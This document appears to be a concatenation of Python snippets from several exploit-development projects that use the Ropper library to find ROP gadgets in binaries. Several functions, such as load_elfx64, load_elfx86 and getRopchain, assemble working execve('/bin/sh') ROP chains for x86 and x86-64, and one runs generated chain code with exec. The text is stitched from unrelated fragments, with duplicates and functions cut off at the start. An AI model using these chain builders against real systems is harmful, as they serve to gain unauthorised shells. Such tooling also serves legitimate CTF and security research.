def doSyscall(self, id): flag = 0; s,p = self.set_reg(rax=1,data=int(id,16),mode=2) for g in self.gadgets: if "syscall ; ret \n" == self.gadgets[g]: self.code.append("chain += p64(" + g + ")") self.payload += p64(int(g,16)) self.gadget_used.append(self.gadgets[g]) flag =1 break; if flag!=1: rs = RopperService() rs.addFile(self.binary) rs.loadGadgetsFor() for f, g in rs.search('syscall; ret'): line = str(g) address = '0x' + line.split(": ")[0][12:] self.gadgets[address] = line.split(": ")[1] self.code.append("chain += p64(" + address + ")") self.payload += p64(int(address,16)) self.gadget_used.append(self.gadgets[address]) flag = 1 break if flag!=1: raise Exception('No syscall gadgets found!') return self.code, self.payload
def get_gadgets(): options = { 'color': False, # if gadgets are printed, use colored output: default: False 'badbytes': '00', # bad bytes which should not be in addresses or ropchains; default: '' 'all': False, # Show all gadgets, this means to not remove double gadgets; default: False 'inst_count': 6, # Number of instructions in a gadget; default: 6 'type': 'all', # rop, jop, sys, all; default: all 'detailed': False } # if gadgets are printed, use detailed output; default: False rs = RopperService(options) arch = 'x86_64' bin_name = 'bin' rs.addFile(bin_name, bytes=open('bin_4', 'rb').read(), raw=True, arch=arch) rs.options.badbytes = '' rs.options.all = True rs.loadGadgetsFor() rs.options.type = 'rop' rs.loadGadgetsFor() gags = [] for i in rs.search(search='pop rsi', name=bin_name): gags.append(i) for i in rs.search(search='leave', name=bin_name): gags.append(i) for i in rs.search(search='pop rdi', name=bin_name): gags.append(i) return gags
def getRopchain(properties, bad_bytes): """ ' given n files, generate an execve rop chain and return it. ' I did not want to try and butcher ropper, so rs.createRopChain ' returns python code to print the rop chain to stdout ' I run it and steal the "rop" variable for my chain ' ' This is horrible code, do not repeat my mistakes 'badbytes': ''.join(bad_bytes), """ options = { 'color': False, 'badbytes': ''.join(bad_bytes), 'all': False, 'inst_count': 6, 'type': 'all', 'count_of_findings': 5, 'cfg_only': False, 'detailed': False } rs = RopperService(options) if 'libc' in properties and properties['libc'] is not None: rs.addFile(properties['libc']) rs.addFile(properties['file']) rs.loadGadgetsFor() '''Acceptable arches are formated differently than pwntools: x86 x86_64 ARM ... see https://github.com/sashs/Ropper/blob/a708fae670eece2b86daeaa276b38cb033eab231/README.md''' # These arches can span to mips and ppc arch = 'x86' if '64' in properties['protections']['arch']: arch = 'x86_64' elif 'arm' in properties['protections']['arch'].lower(): arch = 'ARM' # If you were looking for good programming examples, you've # come to the wrong place friend chain = rs.createRopChain("execve", arch, {'cmd': '/bin/sh'}) chain = chain.replace(" '", " b'") # convert all strings to bytes chain = chain.replace("print rop", "") # removes invalid print statement if "Cannot create chain" in chain or 'INSERT' in chain: print("[-] Failed to create rop chain. Try adding linked libraries") if 'libc' not in properties or properties['libc'] is None: print("[~] Try adding linked libc") exit(0) namespace = {} exec(chain, namespace) # rop variable created inside of "chain" python script if 'libc' in properties: rs.removeFile(properties['libc']) rs.removeFile(properties['file']) return namespace['rop']
def get_gadgets(executable_name): global binary_arch arch = '' if binary_arch == 'amd64': arch = 'x86_64' elif binary_arch == 'i386': arch = 'x86' else: log.failure('Unknown arch') exit() options = { 'color': False, 'badbytes': '00', 'all': False, 'inst_count': 6, 'type': 'all', 'detailed': False } rs = RopperService(options) rs.addFile(executable_name, bytes=open(executable_name, 'rb').read(), raw=True, arch=arch) rs.options.badbytes = '' rs.options.all = True rs.loadGadgetsFor() rs.options.type = 'rop' rs.loadGadgetsFor() gags = [] if binary_arch == 'amd64': for i in rs.search(search='pop r?i', name=executable_name): gags.append(str(i[1])) for i in rs.search(search='pop r?x', name=executable_name): gags.append(str(i[1])) for i in rs.search(search='pop r?p', name=executable_name): gags.append(str(i[1])) for i in rs.search(search='syscall', name=executable_name): gags.append(str(i[1])) break for i in rs.search(search='leave', name=executable_name): gags.append(str(i[1])) break else: for i in rs.search(search='pop e?x', name=executable_name): gags.append(str(i[1])) for i in rs.search(search='pop e?p', name=executable_name): gags.append(str(i[1])) for i in rs.search(search='int 0x80', name=executable_name): gags.append(str(i[1])) break for i in rs.search(search='leave', name=executable_name): gags.append(str(i[1])) break return gags
def load_elfx64(elf): rs = RopperService() rs.addFile(elf) rs.loadGadgetsFor() for file, gadget in rs.search(search="pop rdx; ret;", name=elf): pop_rdx = ffropper(gadget) print("[+] pop rdx; ret; : " + pop_rdx) for file, gadget in rs.search(search="pop rax; ret;", name=elf): pop_rax = ffropper(gadget) print("[+] pop rax; ret; : " + pop_rax) for file, gadget in rs.search(search="pop rsi; ret;", name=elf): pop_rsi = ffropper(gadget) print("[+] pop rsi; ret; : " + pop_rsi) for file, gadget in rs.search(search="pop rdi; ret;", name=elf): pop_rdi = ffropper(gadget) print("[+] pop rdi; ret; : " + pop_rdi) for file, gadget in rs.search(search="mov [rdx], rax; ret; ", name=elf): mov_rdx_rax = ffropper(gadget) # print(gadget) print("[+] mov qword ptr [rdx], rax; ret; : " + mov_rdx_rax) for file, gadget in rs.search(search="syscall; ret;", name=elf): syscall = ffropper(gadget) print("[+] syscall; ret; : " + syscall) with open(elf, 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): if section.name == ".bss": bss = section["sh_addr"] print("[+] bss segment : " + hex(bss)) payload = craft_payloadx64(pop_rax, "pop rax; ret;") payload += craft_payloadx64("'/bin/sh\\x00'", "/bin/sh string", string=1) payload += craft_payloadx64(pop_rdx, "pop rdx; ret;") payload += craft_payloadx64(bss, "bss") payload += craft_payloadx64(mov_rdx_rax, "mov [rdx], rax; ret") payload += craft_payloadx64(pop_rax, "pop rax; ret") payload += craft_payloadx64(59, "execve()") payload += craft_payloadx64(pop_rdi, "pop rdi; ret") payload += craft_payloadx64(bss, "bss") payload += craft_payloadx64(pop_rsi, "pop rsi; ret") payload += craft_payloadx64(0, "NULL") payload += craft_payloadx64(pop_rdx, "pop rdx; ret") payload += craft_payloadx64(0, "NULL") payload += craft_payloadx64(syscall, "syscall") return payload
def load_elfx86(elf): rs = RopperService() rs.addFile(elf) rs.loadGadgetsFor() for file, gadget in rs.search(search="pop ecx; pop ebx; ret", name=elf): pop_ecx_ebx = ffropper(gadget) print("[+] pop ecx; ebx; ret; : " + pop_ecx_ebx) for file, gadget in rs.search(search="pop eax; ret;", name=elf): pop_eax = ffropper(gadget) print("[+] pop eax; ret; : " + pop_eax) for file, gadget in rs.search(search="pop edx; ret;", name=elf): pop_edx = ffropper(gadget) print("[+] pop edx; ret; : " + pop_edx) for file, gadget in rs.search(search="mov [edx], eax; ret", name=elf): mov_edx_eax = ffropper(gadget) print("[+] mov dword ptr [edx], eax; ret; : " + mov_edx_eax) for file, gadget in rs.search(search="int 0x80; ret;", name=elf): int0x80 = ffropper(gadget) print("[+] int 0x80; ret; : " + int0x80) with open(elf, 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): if section.name == ".bss": bss = section["sh_addr"] print("[+] bss segment : " + hex(bss)) payload = craft_payloadx86(pop_eax, "pop eax; ret") payload += craft_payloadx86("'/bin'", "/bin/sh string", string=1) payload += craft_payloadx86(pop_edx, "pop edx; ret") payload += craft_payloadx86(hex(bss), "bss+0") payload += craft_payloadx86(mov_edx_eax, "mov dword ptr [edx], eax; ret; ") payload += craft_payloadx86(pop_eax, "pop eax; ret") payload += craft_payloadx86("'/sh\\x00'", "/bin/sh string", string=1) payload += craft_payloadx86(pop_edx, "pop edx; ret") payload += craft_payloadx86(hex(bss + 4), "bss+4") payload += craft_payloadx86(mov_edx_eax, "mov dword ptr [edx], eax; ret; ") payload += craft_payloadx86(pop_eax, "pop eax; ret") payload += craft_payloadx86(str(11), "execve()") payload += craft_payloadx86(pop_edx, "pop edx; ret") payload += craft_payloadx86(0, "0") payload += craft_payloadx86(pop_ecx_ebx, "pop ecx; ebx; ret") payload += craft_payloadx86("0", "0") payload += craft_payloadx86(hex(bss), "bss") payload += craft_payloadx86(int0x80, "int 0x80; ret;") return payload
def getRopchain(properties, bad_bytes): options = { 'color': False, 'badbytes': ''.join(bad_bytes), 'all': False, 'inst_count': 6, 'type': 'all', 'count_of_findings': 5, 'cfg_only': False, 'detailed': False } rs = RopperService(options) print(properties['libc']) if 'libc' in properties and properties['libc'] is not None: rs.addFile(properties['libc']) rs.addFile(properties['file']) rs.loadGadgetsFor() '''Acceptable arches are formated differently than pwntools: x86 x86_64 ARM ... see https://github.com/sashs/Ropper/blob/a708fae670eece2b86daeaa276b38cb033eab231/README.md''' #These arches can span to mips and ppc arch = 'x86' if '64' in properties['protections']['arch']: arch = 'x86_64' elif 'arm' in properties['protections']['arch'].lower(): arch = 'ARM' #If you were looking for good programming examples, you've #come to the wrong place friend chain = rs.createRopChain("execve", arch, {'cmd': '/bin/sh'}) if "Cannot create chain" in chain or 'INSERT' in chain: print("[-] Failed to create rop chain. Try adding linked libraries") if 'libc' not in properties or properties['libc'] is None: print("[~] Try adding linked libc") exit(0) namespace = {} exec(chain, namespace) #rop variable created inside of "chain" python script if 'libc' in properties: rs.removeFile(properties['libc']) rs.removeFile(properties['file']) return namespace['rop']
def get_ropper_service(self): # not all options need to be given options = { "color": False, "badbytes": self.badbytes, "type": "rop", # rop, jop, sys, all; default: all } # if gadgets are printed, use detailed output; default: False rs = RopperService(options) for file in self.files: rs.addFile(file, arch="x86") # rs.setImageBaseFor(file, 0x1100000) rs.loadGadgetsFor() return rs
def collect(self, do_filter_unsafe=True): print('Collecting...') logging.info("Starting Collection phase") options = { 'color': False, # if gadgets are printed, use colored output: default: False 'badbytes': '', # bad bytes which should not be in addresses or ropchains; default: '' 'all': False, # Show all gadgets, this means to not remove double gadgets; default: False 'inst_count': 6, # Number of instructions in a gadget; default: 6 'type': 'rop', # rop, jop, sys, all; default: all 'detailed': True } # if gadgets are printed, use detailed output; default: False rs = RopperService(options) rs.addFile(self._filename) rs.loadGadgetsFor(name=self._filename) ropper_gadgets = rs.getFileFor(name=self._filename).gadgets # set architecture!! Arch.init(str(rs.getFileFor(name=self._filename).arch)) gadgets = [] for g in ropper_gadgets: address = g._lines[0][0] + g.imageBase address_end = g._lines[-1][0] + g.imageBase hex_bytes = g._bytes #check ret type ret = next( Arch.md.disasm(hex_bytes[address_end - address:], 0x0, count=1)) if ret.id != X86_INS_RET: continue if ret.operands: retn = ret.operands[0].value.imm else: retn = 0 if retn < MAX_RETN: gadgets.append( Gadget(hex_bytes, address=address, address_end=address_end, retn=retn, arch=Arch.ARCH_BITS)) if do_filter_unsafe: return filter_unsafe(gadgets) else: return gadgets
class MyRopper(): def __init__(self, filename): self.rs = RopperService() self.rs.clearCache() self.rs.addFile(filename) self.rs.loadGadgetsFor() self.rs.options.inst_count = 10 self.rs.loadGadgetsFor() self.rs.loadGadgetsFor() # sometimes Ropper doesn't update new gadgets def get_gadgets(self, regex): gadgets = [] for _, g in self.rs.search(search=regex): gadgets.append(g) if len(gadgets) > 0: return gadgets else: raise Exception("Cannot find gadgets!") def contains_string(self, string): s = self.rs.searchString(string) t = [a for a in s.values()][0] return len(t) > 0 def get_arch(self): return self.rs.files[0].arch._name @staticmethod def get_ra_offset(gadget): """ Return the offset of next Retun Address on the stack So you know how many bytes to put before next gadget address Eg: lw $ra, 0xAB ($sp) --> return: 0xAB """ for line in gadget.lines: offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1]) if offset_len: return int(offset_len[0], 16) raise Exception("Cannot find $ra offset in this gadget!")
def get_ropper_service(self): # not all options need to be given options = { "color": self.color, "badbytes": self.badbytes, "type": "rop", } # if gadgets are printed, use detailed output; default: False rs = RopperService(options) for file in self.files: if ":" in file: file, base = file.split(":") rs.addFile(file, arch=self.arch) rs.clearCache() rs.setImageBaseFor(name=file, imagebase=int(base, 16)) else: rs.addFile(file, arch=self.arch) rs.clearCache() rs.loadGadgetsFor(file) return rs
def sys_collect(self, do_filter_unsafe=True): # add syscall gadgets options = { 'color': False, # if gadgets are printed, use colored output: default: False 'badbytes': '', # bad bytes which should not be in addresses or ropchains; default: '' 'all': False, # Show all gadgets, this means to not remove double gadgets; default: False 'inst_count': 6, # Number of instructions in a gadget; default: 6 'type': 'sys', # rop, jop, sys, all; default: all 'detailed': True } # if gadgets are printed, use detailed output; default: False rs = RopperService(options) rs.addFile(self._filename) rs.loadGadgetsFor(name=self._filename) ropper_gadgets = rs.getFileFor(name=self._filename).gadgets gadgets = [] for g in ropper_gadgets: address = g._lines[0][0] + g.imageBase address_end = g._lines[-1][0] + g.imageBase hex_bytes = g._bytes _g = Gadget(hex_bytes, address=address, address_end=address_end, retn=0, modified_regs=[], arch=Arch.ARCH_BITS) gadgets.append(Other_Gadget(_g)) if do_filter_unsafe: return sys_filter_unsafe(gadgets) else: return gadgets
class MyRopper(): def __init__(self, filename): self.rs = RopperService() self.rs.clearCache() self.rs.addFile(filename) self.rs.loadGadgetsFor() self.rs.options.inst_count = 10 self.rs.loadGadgetsFor() self.rs.loadGadgetsFor() def get_gadgets(self, regex): gadgets = [] for _, g in self.rs.search(search=regex): gadgets.append(g) if len(gadgets) > 0: return gadgets else: raise Exception("[-] Cannot find gadgets!") def contains_string(self, string): s = self.rs.searchString(string) t = [a for a in s.values()][0] return len(t) > 0 def get_arch(self): return self.rs.files[0].arch._name @staticmethod def get_ra_offset(gadget): for line in gadget.lines: offset_len = re.findall("lw \$ra, (0x[0-9a-f]+)\(\$sp\)", line[1]) if offset_len: return int(offset_len[0], 16) raise Exception("[-] Cannot find $ra offset in this gadget!")
rs.setArchitectureFor(name=ls, arch='x86') rs.setArchitectureFor(name=ls, arch='x86_64') rs.setArchitectureFor(name=ls, arch='ARM') rs.setArchitectureFor(name=ls, arch='ARMTHUMB') rs.setArchitectureFor(name=ls, arch='ARM64') rs.setArchitectureFor(name=ls, arch='MIPS') rs.setArchitectureFor(name=ls, arch='MIPS64') rs.setArchitectureFor(name=ls, arch='PPC') rs.setArchitectureFor(name=ls, arch='PPC64') rs.setArchitectureFor(name=ls, arch='x86') ##### load gadgets ###### # load gadgets for all opened files rs.loadGadgetsFor() # load gadgets for only one opened file ls = 'test-binaries/ls-x86' rs.loadGadgetsFor(name=ls) # change gadget type rs.options.type = 'jop' rs.loadGadgetsFor() rs.options.type = 'rop' rs.loadGadgetsFor() # change instruction count rs.options.inst_count = 10 rs.loadGadgetsFor()
ls = 'test-binaries/ls-x86' rs.setArchitectureFor(name=ls, arch='x86') rs.setArchitectureFor(name=ls, arch='x86_64') rs.setArchitectureFor(name=ls, arch='ARM') rs.setArchitectureFor(name=ls, arch='ARMTHUMB') rs.setArchitectureFor(name=ls, arch='ARM64') rs.setArchitectureFor(name=ls, arch='MIPS') rs.setArchitectureFor(name=ls, arch='MIPS64') rs.setArchitectureFor(name=ls, arch='PPC') rs.setArchitectureFor(name=ls, arch='PPC64') rs.setArchitectureFor(name=ls, arch='x86') ##### load gadgets ###### # load gadgets for all opened files rs.loadGadgetsFor() # load gadgets for only one opened file ls = 'test-binaries/ls-x86' rs.loadGadgetsFor(name=ls) # change gadget type rs.options.type = 'jop' rs.loadGadgetsFor() rs.options.type = 'rop' rs.loadGadgetsFor() # change instruction count rs.options.inst_count = 10 rs.loadGadgetsFor()
'--nosys', ] rg_args = Args(config).getArgs() rg_bin = Binary(rg_args) G = Gadgets(rg_bin, rg_args, rg_offset) exec_sections = rg_bin.getExecSections() rg_gadgets = [] for section in exec_sections: rg_gadgets += G.addROPGadgets(section) rg_gadgets = G.passClean(rg_gadgets, rg_args.multibr) rg_gadgets = Options(rg_args, rg_bin, rg_gadgets).getGadgets() # --------------------- if not ropper_parsing_error: rs.setArchitectureFor(name=f, arch='x86') rs.loadGadgetsFor(name=f) rp_gadgets = rs.getFileFor(f).gadgets rp_gadgets.sort(key=attrgetter('address')) print 'Found {} gadgets!'.format(len(rp_gadgets)) rs.setImageBaseFor(name=f, imagebase=0x0) else: rp_gadgets = [] rp_len = len(rp_gadgets) rg_len = len(rg_gadgets) rp = True gadgets = rp_gadgets if rp_len < rg_len: gadgets = rg_gadgets rp = False rep = (len(gadgets) / 5000) + 1
#!/usr/bin/env python3 from ropper import RopperService def are_bytes_printable(num): for x in range(0, 4): byte = (num >> x * 8) & 0xFF if byte < 0x20 or byte > 0x7f: return False return True options = {'color': False, 'all': True, type: 'all'} rs = RopperService(options) rs.addFile('libc-2.15.so') rs.loadGadgetsFor() gadgets = rs.getFileFor(name='libc-2.15.so').gadgets printable = [gadget for gadget in gadgets if are_bytes_printable(gadget.address + 0x5555e000)] for gadget in printable: print(gadget)